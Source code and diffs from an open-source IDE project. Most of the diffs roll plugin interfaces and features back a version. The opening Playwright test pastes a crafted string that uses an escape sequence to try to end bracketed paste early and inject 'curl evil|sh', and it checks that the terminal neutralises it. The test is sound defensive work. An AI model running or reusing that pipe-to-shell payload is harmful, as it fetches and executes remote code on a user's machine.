import { expect, test } from "@playwright/test";
test("a pasted ESC cannot end bracketed paste early", async ({ page }) => {
await page.goto("/");
const observed = await page.evaluate(async () => {
const ipcPath = "/src/platform/ipc.ts";
const sessionPath = "/src/features/terminal/session.ts";
const { commands } = await import(ipcPath);
const { TerminalSession } = await import(sessionPath);
Object.defineProperty(window, "__TAURI_INTERNALS__", {
configurable: true,
value: { transformCallback: () => 1 },
});
const writes: string[] = [];
commands.termSpawn = async () => ({ status: "ok", data: { id: 839, title: "bash", pid: 1 } });
commands.clipboardFileList = async () => ({ status: "ok", data: [] });
commands.termWrite = async (_id: number, data: string) => writes.push(data);
commands.termResize = async () => undefined;
commands.termKill = async () => undefined;
const container = document.createElement("div");
container.style.cssText = "position:fixed;inset:0;z-index:99999";
document.body.append(container);
const session = new TerminalSession({ key: "paste-escape", cwd: "/tmp", onChange() {}, onFocus() {} });
const paste = async (text: string) => {
const before = writes.length;
const transfer = new DataTransfer();
transfer.setData("text/plain", text);
const event = new ClipboardEvent("paste", { bubbles: true, cancelable: true, clipboardData: transfer });
container.querySelector("textarea")!.dispatchEvent(event);
const deadline = Date.now() + 5000;
while (writes.length === before && Date.now() < deadline) {
await new Promise((resolve) => requestAnimationFrame(resolve));
}
return { claimed: event.defaultPrevented, written: writes.slice(before) };
};
try {
session.attach(container);
await session.start();
// xterm opens on a later frame, once the pane has a size.
const openDeadline = Date.now() + 5000;
while (!container.querySelector("textarea") && Date.now() < openDeadline) {
await new Promise((resolve) => requestAnimationFrame(resolve));
}
// The shell asks for bracketed paste, as bash and zsh do at the prompt.
await new Promise<void>((resolve) => session.term.write("\x1b[?2004h", resolve));
return {
hostile: await paste("README\x1b[201~;curl evil|sh;#\r"),
plain: await paste("ls -la"),
};
} finally {
session.dispose();
container.remove();
}
});
expect(observed.hostile).toEqual({
claimed: true,
written: ["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"],
});
expect(observed.plain).toEqual({ claimed: false, written: ["\x1b[200~ls -la\x1b[201~"] });
});
+1 -1
Переглянути файл
@@ -2,7 +2,7 @@
"name": "openidea",
"private": true,
"description": "An open-source IDE inspired by IntelliJ IDEA",
"version": "0.1.46",
"version": "0.1.45",
"license": "Apache-2.0",
"type": "module",
"scripts": {
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// The commit being prepared in the window the current command or event came
/// from (the Commit tool window, or the Commit dialog while it is open): the
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Plugin-owned project data sources. Requires database.sources and project trust.
/// Runs on the Database subsystem's host, including on remote project servers.
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Editor and project-tree decorations (API 1.4). Requires project.read. An editor set
/// follows its file: the file's own project, or the nearest one when it is outside them all.
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// What the pane beside the Services tree shows for a plugin's node.
interface detail-types {
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Optional export (world `plugin-diagnostics`): problems in the current,
/// possibly unsaved document, for the languages declared with the
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// HTTP endpoints found in a project (`[[contributes.endpoints]]`).
interface endpoints-provider {
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Workbench events, delivered in batches to `event-handler.handle`.
interface events {
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
interface lifecycle {
use types.{context, error};
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// What other plugins contributed to the extension points this plugin declares
/// (`[[extension-points]]` in `plugin.toml`; the contributors list this plugin
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Optional export (world `plugin-file-actions`): quick fixes and
/// refactorings that create, rename or delete files, next to the text edits
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Files outside the open projects: the configuration of the program a
/// plugin integrates with, a tool installed elsewhere, a licence file.
+1 -28
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Writes to the IDE log, tagged with the plugin id.
interface log {
@@ -126,33 +126,6 @@ interface command-runner {
execute: func(id: string, arg: option<string>) -> result<option<string>, error>;
}
/// Requests to the language servers the IDE runs (API 1.9).
interface language-servers {
use types.{error};
use workspace.{project};
/// Sends `method` to the server named `server` (the `name` of its
/// `[[language-servers]]` entry in the language definition, e.g. `phoxite`)
/// running for `project`, and returns the result as JSON. `params` is JSON,
/// or none for no params. Requires `lsp:<server>` and a trusted project.
///
/// Only the server's own methods pass (`phoxite/laravel/routes`): `initialize`,
/// `initialized`, `shutdown`, `exit`, anything starting with `$/` and any
/// method whose first segment is an LSP namespace (`textDocument`, `workspace`,
/// `window`, `notebookDocument`, `callHierarchy`, `typeHierarchy`,
/// `completionItem`, `codeAction`, `codeLens`, `documentLink`, `inlayHint`,
/// `workspaceSymbol`, `client`, `telemetry`) are `invalid`.
///
/// `not-found` when no such server is running for the project: the call never
/// starts one. The server's own error is `failed` with its message. The call
/// ends with the invocation's cancellation and time budget. At most 256 bytes
/// of method and 1 MiB of params.
request: func(project: borrow<project>, server: string, method: string, params: option<string>) -> result<string, error>;
/// The same for a notification: no answer is awaited.
notify: func(project: borrow<project>, server: string, method: string, params: option<string>) -> result<_, error>;
}
/// Per-plugin named, read-only Output tabs (API 1.4), with a 1 MiB UTF-8 ring buffer.
interface output {
use types.{error};
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Optional export (world `plugin-hover`): Markdown added to the hover of
/// documents of the languages declared with the `hover` provider kind,
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Cross-file associations a plugin publishes for the files it declares under
/// `[[contributes.documentIndexers]]`. The host calls `index` in cancellable
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Embedded languages. The host routes plugin providers and configured language
/// servers inside these ranges, preserving host-document UTF-16 coordinates.
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Optional export (world `plugin-inlay-hints`): inline hints in documents of
/// the languages declared with the `inlay-hints` provider kind, including
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Problems in files, shown in the editor and the Problems view.
interface diagnostics {
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Additional language features, called only for declared API 1.4 provider kinds.
/// Editor calls have a 50 ms soft / 500 ms hard budget; formatting has 5 seconds.
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Discovery of the IDE's built-in MCP server; never exposes its URL or token.
interface mcp {
+1 -6
Переглянути файл
@@ -8,7 +8,7 @@
/// `fs` and `workspace`, and everything else goes through the imports below,
/// gated by the capabilities granted in `plugin.toml` (a missing one returns
/// `error::denied`).
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
world plugin {
import log;
@@ -31,7 +31,6 @@ world plugin {
import output;
import auth;
import command-runner;
import language-servers;
import views;
import run;
import run-targets;
@@ -184,10 +183,6 @@ world editor-diagnostics {
world plugin-run-configurations { include plugin; export run-configurations; }
/// Export-only configurations world, composed with plugin by SDK macros.
world configurations-provider { export run-configurations; }
/// A plugin that exports configurations with an environment and a debugger (API 1.9).
world plugin-launch-configurations { include plugin; export launch-configurations; }
/// Export-only launch configurations world, composed with plugin by SDK macros.
world launch-configurations-provider { export launch-configurations; }
/// A plugin that parses its test output.
world plugin-test-results { include plugin; export test-results; }
/// Export-only test parser world, composed with plugin by SDK macros.
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Editor features a plugin provides for the languages it declares under
/// `[[contributes.providers]]` (the host calls only declared kinds). They run
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Project-scoped targets owned by the registering plugin (API 1.4).
interface run-targets {
+1 -41
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Launches this plugin's configurations in the invoking window's Run tool window.
interface run {
@@ -24,46 +24,6 @@ interface run-configurations {
configurations: func(project-root: string) -> list<run-configuration>;
}
/// Optional dynamic configurations with an environment and a debugger (API 1.9).
/// When a plugin exports both, the IDE uses this one instead of `run-configurations`.
interface launch-configurations {
use types.{extension};
/// A process the run starts, to attach the debugger to.
record attach-child {
/// Its debugger, as in Attach to Process: `dotnet`, `node`, `python`, `go` or `native`.
kind: string,
/// Only a process whose command line contains this text.
command-contains: option<string>,
}
/// How Debug starts the configuration.
variant debugger {
/// Starts `program` under the debugger of this language id (its `[debugger]`), e.g. `python`.
launch(string),
/// Runs the configuration as Run does, then attaches to the first matching process the
/// run starts (it waits for one up to 60 seconds).
attach-child(attach-child),
/// Later kinds; this IDE treats the configuration as having no debugger.
other(extension),
}
/// `run-configuration` with an environment and a debugger.
record launch-configuration {
id: string,
name: string,
program: string,
args: list<string>,
cwd: option<string>,
test: bool,
framework: option<string>,
/// Variables added to the run's environment (at most 64). A name the IDE's own
/// environment already has, such as `PATH`, is refused like in `process`.
env: list<tuple<string, string>>,
/// None: Debug infers the debugger from a source file in `args`, as before.
debugger: option<debugger>,
}
/// Returns the complete set for this project root.
configurations: func(project-root: string) -> list<launch-configuration>;
}
/// Optional parser for test configurations whose framework is plugin.
interface test-results {
use types.{location, extension};
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Optional export (world `plugin-semantic-tokens`): semantic colouring of
/// documents of the languages declared with the `semantic-tokens` provider
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Shared types. Positions are 0-based lines and UTF-16 code unit columns,
/// as in the editor and LSP.
+2 -3
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
/// Declarative views: tool windows declared
/// under `[[contributes.views]]` and custom editors under
@@ -153,8 +153,7 @@ interface views {
/// (API 1.7): a review's file before and after, say. `file-name` (a name or
/// relative path, at most 256 characters) picks the syntax highlighting and
/// names the tab when `diff.title` is absent. Only from a command or event
/// of a window. Each side at most 8 MiB (earlier hosts: 1 MiB); a larger
/// side fails with `invalid("diff too large: …")`.
/// of a window; each side at most 1 MiB.
open-diff: func(diff: content-diff, file-name: option<string>) -> result<_, error>;
/// The view (or every custom editor of that id) shows outdated content:
+1 -1
Переглянути файл
@@ -1,4 +1,4 @@
package openidea:plugin@1.9.0;
package openidea:plugin@1.8.0;
interface workspace {
use types.{error, location};
+13
Переглянути файл
@@ -344,6 +344,19 @@ pub async fn agent_fork(
agent::fork(&state.host, window.label(), task, turns).await
}
/// Creates a temporary side conversation of `source`: lives in memory only, never
/// persisted, not listed, and its session starts with the first message sent to it.
#[tauri::command]
#[specta::specta]
pub async fn agent_create_ephemeral(
window: Window,
state: State<'_, AppState>,
request: NewAgentTask,
source: String,
) -> IdeResult<AgentTask> {
agent::create_ephemeral(&state.host, window.label(), request, source).await
}
/// Drops the task's turns after its first `turns`; returns the message of the first dropped one.
#[tauri::command]
#[specta::specta]
+1
Переглянути файл
@@ -155,6 +155,7 @@ pub fn builder() -> tauri_specta::Builder<tauri::Wry> {
agent::agent_send_queued_now,
agent::agent_set_config,
agent::agent_fork,
agent::agent_create_ephemeral,
agent::agent_rollback,
agent::agent_probe,
agent::agent_cancel,
+3 -17
Переглянути файл
@@ -603,19 +603,11 @@ pub async fn remote_connect(
let peer = connection.peer.clone();
let auth_plugins = state.plugins.clone();
let auth_window = label.clone();
let app = window.app_handle().clone();
tauri::async_runtime::spawn(async move {
peer.closed().await;
auth_plugins.forget_remote_loopbacks(&auth_window);
let Some(connection) = weak.upgrade() else { return };
connection.forwards.lock().clear();
// Still the window's connection: not a disconnect or a replacement, so the window learns
// its project is unreachable instead of failing every command with "connection closed".
let current = app.state::<AppState>().remote_dev.get(&auth_window);
if current.is_some_and(|c| Arc::ptr_eq(&c, &connection)) {
tracing::warn!("{}: the connection to openidea-server was lost", connection.host);
TauriSink { app, window: Some(auth_window) }
.emit(ide_core::IdeEvent::RemoteConnectionLost { host: connection.host.clone() });
if let Some(connection) = weak.upgrade() {
connection.forwards.lock().clear();
}
});
let plugins = state.plugins.clone();
@@ -965,7 +957,7 @@ pub async fn remote_invoke(
let call = Invoke { window: label, cmd, args };
let mut result = invoke_reply(&c.peer, call, std::time::Duration::from_secs(30))
.await
.map_err(|e| lost_connection_error(older_server_error(e, &c.server_version, &c.host), &c))?;
.map_err(|e| older_server_error(e, &c.server_version, &c.host))?;
if web_url && let Some(url) = result.as_str() {
result = Value::String(forward_web_url(&c, url).await?);
}
@@ -1026,12 +1018,6 @@ fn older_server_error(e: IdeError, server_version: &str, host: &str) -> IdeError
))
}
/// A request that failed because the transport is gone says so, instead of the bare JSON-RPC
/// "connection closed".
fn lost_connection_error(e: IdeError, c: &Connection) -> IdeError {
if c.peer.is_closed() { IdeError::unavailable(format!("Lost the connection to {}", c.host)) } else { e }
}
// Conversation reads are snapshots; a silent host must not leave them pending forever.
async fn invoke_reply(peer: &Peer, call: Invoke, entries_timeout: std::time::Duration) -> IdeResult<Value> {
let reply = peer.request("invoke", &call, None);
+1 -1
Переглянути файл
@@ -1,7 +1,7 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "OpenIDEA",
"version": "0.1.46",
"version": "0.1.45",
"identifier": "ai.l0ng.openidea",
"build": {
"beforeDevCommand": "pnpm dev",
+1
Переглянути файл
@@ -7,6 +7,7 @@ agent_cancel always project_host bin
agent_changes trusted project_host bindings async
agent_commands always project_host bindings async
agent_create trusted project_host bindings async
agent_create_ephemeral trusted desktop bindings async
agent_custom_import trusted desktop bindings sync
agent_custom_remove trusted desktop bindings sync
agent_custom_save trusted desktop bindings sync
+11 -6
Переглянути файл
@@ -225,6 +225,11 @@ export const commands = {
agentSetConfig: (task: string, option: string, value: string) => typedError<null, IdeError>(__TAURI_INVOKE("agent_set_config", { task, option, value })),
/** Copies the task's conversation into a new task, up to its first `turns` turns (all when `None`). */
agentFork: (task: string, turns: number | null) => typedError<AgentTask_Serialize, IdeError>(__TAURI_INVOKE("agent_fork", { task, turns })),
/**
* Creates a temporary side conversation of `source`: lives in memory only, never
* persisted, not listed, and its session starts with the first message sent to it.
*/
agentCreateEphemeral: (request: NewAgentTask, source: string) => typedError<AgentTask_Serialize, IdeError>(__TAURI_INVOKE("agent_create_ephemeral", { request, source })),
/** Drops the task's turns after its first `turns`; returns the message of the first dropped one. */
agentRollback: (task: string, turns: number) => typedError<{
text: string,
@@ -1966,6 +1971,11 @@ export type AgentCapabilities = {
steer?: boolean,
/** It reports its background tasks and stops them one by one. */
backgroundTasks?: boolean,
/**
* The task runs read-only: it asks before anything, and requests that would change
* the project are denied (a temporary side conversation).
*/
readOnly?: boolean,
};
/**
@@ -6381,12 +6391,7 @@ export type IdeEvent =
/** Project window membership or selection changed. */
{ type: "windowGroupsChanged" } |
/** A window entered or left full screen, itself or as a member of a full-screen window group. */
{ type: "windowFullscreenChanged" } |
/**
* This remote window's connection to its host ended on its own (network loss, the host or
* its server went away); the window's project is unreachable until it reconnects.
*/
{ type: "remoteConnectionLost"; host: string } | { type: "projectTrustChanged"; root: IpcPath; trusted: boolean } |
{ type: "windowFullscreenChanged" } | { type: "projectTrustChanged"; root: IpcPath; trusted: boolean } |
/** Files or directories changed on disk (after debouncing, ignore rules applied). */
{ type: "fsChanged"; created: IpcPath[]; modified: IpcPath[]; removed: IpcPath[];
/** Subtrees whose ignore rules changed, after the matchers were rebuilt. */
+2 -132
Переглянути файл
@@ -3,7 +3,7 @@ import { EditorState, type Extension } from "@codemirror/state";
import { EditorView } from "@codemirror/view";
import { completedSyntaxState } from "@/test/syntax";
import { languages } from "@codemirror/language-data";
import { BracketScanner, bracketClass, rainbowBrackets } from "./rainbowBrackets";
import { BracketScanner, bracketClass } from "./rainbowBrackets";
import { heavyExtension } from "./setup";
import type { EditorSettings } from "@/platform/ipc";
@@ -17,18 +17,7 @@ function marks(doc: string, ext: Extension = [], from = 0, to = doc.length, scan
return scanner.marks(state, from, to).map((m) => `${doc[m.from]}${m.depth < 0 ? "!" : m.depth}`);
}
const load = (name: string) => languages.find((l) => l.name === name)!.load();
const javascript = () => load("JavaScript");
/** Classes of the coloured brackets an editor renders with `extensions`. */
function rendered(doc: string, extensions: Extension) {
const view = new EditorView({ state: EditorState.create({ doc, extensions }), parent: document.body });
const classes = [...view.contentDOM.querySelectorAll("[class*=cm-rainbow-bracket]")].map(
(e) => `${e.textContent}${e.className.replace("cm-rainbow-bracket-", "")}`,
);
view.destroy();
return classes;
}
const javascript = () => languages.find((l) => l.name === "JavaScript")!.load();
describe("rainbow brackets", () => {
it("colours brackets by nesting depth, cycling through the palette", () => {
@@ -62,125 +51,6 @@ describe("rainbow brackets", () => {
expect(marks(doc, await javascript())).toEqual(["(0", ")0", "(0", "[1", "{2", "}2", "]1", ")0"]);
});
it.each(["JavaScript", "TypeScript"])("colours %s template expressions but skips literal text", async (name) => {
const doc = 'f(`literal ([ ${g(["}", /[)]/]) /* ] */} tail ) ${h()}`)';
expect(marks(doc, await load(name))).toEqual([
"(0",
"{1",
"(2",
"[3",
"]3",
")2",
"}1",
"{1",
"(2",
")2",
"}1",
")0",
]);
});
it("handles nested templates and escaped interpolation delimiters", async () => {
const doc = "f(`\\${literal(} ${g(`text ) ${h([1])}`)} tail [`); after()";
expect(marks(doc, await javascript())).toEqual([
"(0",
"{1",
"(2",
"{3",
"(4",
"[5",
"]5",
")4",
"}3",
")2",
"}1",
")0",
"(0",
")0",
]);
});
it("colours Python replacements and nested format expressions but skips literal braces", async () => {
const doc = "s = f\"literal ([ {{escaped}} {f([')']):)>{width()}} tail ]\"; g()";
expect(marks(doc, await load("Python"))).toEqual([
"{0",
"(1",
"[2",
"]2",
")1",
"{1",
"(2",
")2",
"}1",
"}0",
"(0",
")0",
]);
});
it("colours PHP interpolation without colouring its enclosing string", async () => {
expect(marks('<?php $s = "literal ( {$a[0]} tail ]"; f();', await load("PHP"))).toEqual([
"{0",
"[1",
"]1",
"}0",
"(0",
")0",
]);
});
it.each([
["JavaScript", 'f("(\\\"[", \'{\', `)`)'],
["Python", 'f("(", \']\', r"{", """multi\n)""")'],
["Rust", 'f(\'(\', "[", r#"}"#)'],
["Java", 'f(\'(\', "[", """\n}\n""")'],
])("keeps %s string and character contents uncoloured", async (name, doc) => {
expect(marks(doc, await load(name))).toEqual(["(0", ")0"]);
});
it.each(["HTML", "JSX"])("skips %s attribute values and keeps embedded code", async (name) => {
const doc =
name === "HTML"
? '<div a="(" b=] c=\'{\'><!-- ) --><script>f("(", [1])</script></div>'
: 'const x = <div a="(" b=\']\' c={f("}", [1])}>{g()}</div>';
expect(marks(doc, await load(name))).toEqual(
name === "HTML" ? ["(0", "[1", "]1", ")0"] : ["{0", "(1", "[2", "]2", ")1", "}0", "{0", "(1", ")1", "}0"],
);
});
it("keeps interpolation depth across chunks, viewports and edits", async () => {
const doc = "f(`" + "literal ([ ".repeat(500) + "${g([1])}" + " tail ) ".repeat(700) + "`); h()";
const ext = await javascript();
const scanner = new BracketScanner();
const from = doc.indexOf("[1]");
expect(marks(doc, ext, from, doc.length, scanner)).toEqual(["[3", "]3", ")2", "}1", ")0", "(0", ")0"]);
expect(marks(doc, ext, from + 2, doc.length, scanner)).toEqual(["]3", ")2", "}1", ")0", "(0", ")0"]);
let state = completedSyntaxState(EditorState.create({ doc, extensions: ext }));
const edit = doc.indexOf("${");
state = completedSyntaxState(state.update({ changes: { from: edit, insert: "\\" } }).state);
scanner.invalidate(edit);
expect(
scanner.marks(state, from + 1, state.doc.length).map((m) => `${state.sliceDoc(m.from, m.from + 1)}${m.depth}`),
).toEqual([")0", "(0", ")0"]);
});
it("renders only interpolation code and leaves HTML attributes undecorated", async () => {
expect(rendered('`text ( ${f("}", [1])} tail ]`', [await javascript(), rainbowBrackets()])).toEqual([
"{1",
"(2",
"[3",
"]3",
")2",
"}1",
]);
expect(rendered('<div title="("><script>f([1])</script></div>', [await load("HTML"), rainbowBrackets()])).toEqual([
"(1",
"[2",
"]2",
")1",
]);
});
it("knows the depth at a viewport far into the document and after edits", () => {
const body = "x(y)\n".repeat(5000);
const doc = `{\n${body}[z]\n}`;
+15 -33
Переглянути файл
@@ -1,10 +1,9 @@
/**
* Rainbow brackets (VS Code's bracket pair colorization): `()`, `[]`, `{}`
* coloured by nesting depth (`--syn-bracket-<n>`, cycling), unmatched ones in
* the error colour. Strings, comments and markup literals are skipped: with
* the syntax tree when the language has one, else lexically with the
* language's comment tokens and quotes. Interpolated expressions stay
* visible as holes inside those literals.
* the error colour. Strings and comments are skipped: with the syntax tree
* when the language has one, else lexically with the language's comment
* tokens and quotes.
*
* Only the viewport is decorated. The nesting state at its start comes from
* checkpoints saved every few KB while scanning, so scrolling and typing
@@ -58,9 +57,7 @@ interface CommentTokens {
block?: { open: string; close: string };
}
const SKIP_NODE =
/string|comment|char|rune|regexp|textblock|docstring|heredoc|attributevalue|cdata|doctype|processinginst|^(FormatSpec|Text|JSXText)$/i;
const INTERPOLATION_NODE = /^(Interpolation|FormatReplacement)$/;
const SKIP_NODE = /string|comment|char|rune|regexp|textblock|docstring|heredoc/i;
const skipCache = new WeakMap<NodeType, boolean>();
function skipsNode(type: NodeType): boolean {
let v = skipCache.get(type);
@@ -68,31 +65,6 @@ function skipsNode(type: NodeType): boolean {
return v;
}
/** Literal ranges, with holes for interpolated code (which may contain more literals). */
function literalRanges(tree: Tree, from: number, to: number): number[] {
const ranges: number[] = [];
const parents: boolean[] = [];
let skipping = false;
let start = from;
const setSkipping = (next: boolean, pos: number) => {
if (next === skipping) return;
if (next) start = Math.max(from, pos);
else if (start < Math.min(to, pos)) ranges.push(start - from, Math.min(to, pos) - from);
skipping = next;
};
tree.iterate({
from,
to,
enter: (n) => {
parents.push(skipping);
if (skipsNode(n.type)) setSkipping(true, n.from);
else if (INTERPOLATION_NODE.test(n.name)) setSkipping(false, n.from);
},
leave: (n) => setSkipping(parents.pop()!, n.to),
});
return ranges;
}
/**
* Bracket scanner of one editor: keeps the checkpoints between rebuilds and
* drops the ones after an edit (`invalidate`).
@@ -181,7 +153,17 @@ export class BracketScanner {
const base = s.pos;
const text = doc.sliceString(base, Math.min(doc.length, chunkEnd + TOKEN_SLACK));
const stop = chunkEnd - base;
const skips = tree ? literalRanges(tree, base, chunkEnd) : [];
const skips: number[] = [];
if (tree)
tree.iterate({
from: base,
to: chunkEnd,
enter: (n) => {
if (!skipsNode(n.type)) return;
skips.push(n.from - base, n.to - base);
return false;
},
});
let k = 0;
let i = 0;
while (i < stop) {
+7
Переглянути файл
@@ -1978,6 +1978,13 @@ export class EditorController implements SlotHost {
return useTabs.getState().panes[paneId]?.tabs.find((t) => t.id === tabId)?.input ?? null;
}
/** The pane showing a tab with this input key, if any (for anchoring "open beside it"). */
paneOf(key: string): string | null {
for (const [paneId, pane] of Object.entries(useTabs.getState().panes))
if (pane.tabs.some((t) => t.input.key === key)) return paneId;
return null;
}
closePath(path: string): Promise<boolean> {
return this.removeGuarded((s) => {
const keys = new Set<string>();
+1
Переглянути файл
@@ -56,6 +56,7 @@ export function activate(): void | (() => void) {
openPaths: () => ctrl.openPaths(),
openTabs: () => ctrl.openTabs(),
tabInput: (paneId, tabId) => ctrl.tabInput(paneId, tabId),
paneOf: (key) => ctrl.paneOf(key),
activeInput: () => ctrl.activeInput(),
onActiveInputChange: (fn) => ctrl.onActiveInputChange(fn),
closePath: (path) => ctrl.closePath(path),
-27
Переглянути файл
@@ -1,27 +0,0 @@
import { afterEach, expect, it } from "vitest";
import { EditorState } from "@codemirror/state";
import { EditorView } from "@codemirror/view";
import { lspTheme } from "./theme";
let view: EditorView | null = null;
afterEach(() => {
view?.destroy();
view = null;
});
it("draws the ⌘-hover info as a popup in a view without the editor theme", () => {
// Diff viewers declare a dark theme and leave out the editor's `.cm-tooltip` rule.
view = new EditorView({
state: EditorState.create({ extensions: [EditorView.theme({}, { dark: true }), lspTheme] }),
parent: document.body,
});
const info = document.createElement("div");
info.className = "cm-tooltip cm-lsp-hover cm-lsp-nav-info";
view.dom.appendChild(info);
const style = getComputedStyle(info);
expect(style.backgroundColor).toBe("var(--bg-popup)");
expect(style.color).toBe("var(--fg)");
expect(style.width).toBe("max-content");
expect(style.borderRadius).toBe("var(--radius-popup-large)");
expect(style.overflow).toBe("visible");
});
-1
Переглянути файл
@@ -836,7 +836,6 @@ const linkField = StateField.define<LinkState | null>({
return {
pos: v.from,
above: true,
arrow: true,
create: (view) => {
const dom = document.createElement("div");
dom.className = "cm-lsp-hover cm-lsp-nav-info";
+2 -22
Переглянути файл
@@ -295,10 +295,9 @@ export const lspTheme = EditorView.theme({
padding: "6px 10px",
borderRadius: "var(--radius-popup)",
boxShadow: "var(--shadow-popup)",
maxWidth: "480px",
whiteSpace: "pre-wrap",
},
// The hint is the tooltip element itself: beat the editor theme's `.cm-tooltip` width.
".cm-tooltip.cm-lsp-hint": { maxWidth: "min(480px, 100%)" },
".cm-lsp-hint-error": {
backgroundColor: "var(--bg-feedback-error, color-mix(in srgb, var(--danger) 8%, var(--bg-popup)))",
borderColor: "color-mix(in srgb, var(--danger) 35%, var(--border-popup))",
@@ -328,26 +327,7 @@ export const lspTheme = EditorView.theme({
backgroundImage:
"linear-gradient(to right, transparent var(--lsp-occurrence-from), var(--lsp-occurrence-bg) var(--lsp-occurrence-from))",
},
// IDEA's ⌘-hover hint: a rounded popup pointing at the word. Styled here in full, as diff
// viewers lack the editor theme and would show CodeMirror's default tooltip. A few lines at
// most, so no scrolling, which would clip the arrow.
".cm-tooltip.cm-lsp-nav-info": {
...tooltipSurface,
borderRadius: "var(--radius-popup-large)",
width: "max-content",
maxWidth: "100%",
maxHeight: "none",
overflow: "visible",
},
".cm-lsp-nav-info .cm-lsp-code": { overflowWrap: "anywhere" },
".cm-tooltip.cm-lsp-nav-info .cm-tooltip-arrow:before": {
borderTopColor: "var(--border-popup)",
borderBottomColor: "var(--border-popup)",
},
".cm-tooltip.cm-lsp-nav-info .cm-tooltip-arrow:after": {
borderTopColor: "var(--bg-popup)",
borderBottomColor: "var(--bg-popup)",
},
".cm-lsp-nav-info": { padding: "4px 8px" },
// Chooser highlight (tempHighlight.ts): the expression / occurrences a choice would take.
".cm-lsp-chooser-highlight": { backgroundColor: "var(--bg-text-search-result)" },
+24 -20
Переглянути файл
@@ -316,7 +316,7 @@ export async function fillMarkers(
const c = up[i]!;
const self = classOf(c);
if (!self) continue;
const found = resolver ? await superMethodsFrom(resolver, self, c.symbol, deps) : [];
const found = resolver ? await superMethodsFrom(resolver, self.name, c.symbol, deps) : [];
if (!found.length) continue;
const known = supers[i]!;
// Same merge rule as ↓: add the graph's super methods to what the server answered.
@@ -369,37 +369,41 @@ function mergeLocations(first: readonly Location[], more: readonly Location[]):
return [...first, ...more.filter((l) => !first.some((f) => sameDeclarationLine(f, l)))];
}
/** Identifies one class declaration in the inheritance graph. */
/**
* Super methods of `method` declared by a base of the class declaration `start`, walking the
* inheritance graph's concrete declarations up to a few levels: a base resolves from the file
* that names it, so an unrelated class of the same name never joins the walk. Empty when no
* base declares the method.
* Super methods of `method` declared by a class in `byName`, walking the inheritance
* graph's bases up to a few levels. Empty when no base declares the method.
*/
async function superMethodsFrom(
resolver: InheritanceIndex,
start: ClassInheritance,
start: string,
method: string,
deps: MarkerDeps,
depth = 3,
): Promise<{ location: Location; owner: string }[]> {
const bare = method.replace(/\s*[(<].*$/, "");
const key = (c: ClassInheritance) => `${c.path}:${c.line}:${c.col}`;
const seen = new Set<string>([key(start)]);
const seen = new Set<string>([start]);
let level = [start];
for (let d = 0; d < depth && level.length; d++) {
const next: ClassInheritance[] = [];
const next: string[] = [];
const found: { location: Location; owner: string }[] = [];
for (const cls of level) {
for (const base of cls.bases) {
// Same rule as the graph: a base the imports name, else a unique one.
for (const baseCls of await resolver.resolve(base, cls.path)) {
if (seen.has(key(baseCls))) continue;
seen.add(key(baseCls));
const outline = await deps.supers.outline(baseCls.path).catch(() => [] as OutlineItem[]);
const m = methodInOutline(outline, baseCls, bare);
if (m) found.push({ location: { path: baseCls.path, range: m.selection_range }, owner: base });
// Not declared there: keep walking that class's own bases.
else next.push(baseCls);
for (const name of level) {
for (const cls of resolver.byName.get(name) ?? []) {
for (const base of cls.bases) {
if (!seen.add(base)) continue;
// Same rule as the graph: a base the imports name, else a unique one.
const declarations = await resolver.resolve(base, cls.path);
let answered = false;
for (const baseCls of declarations) {
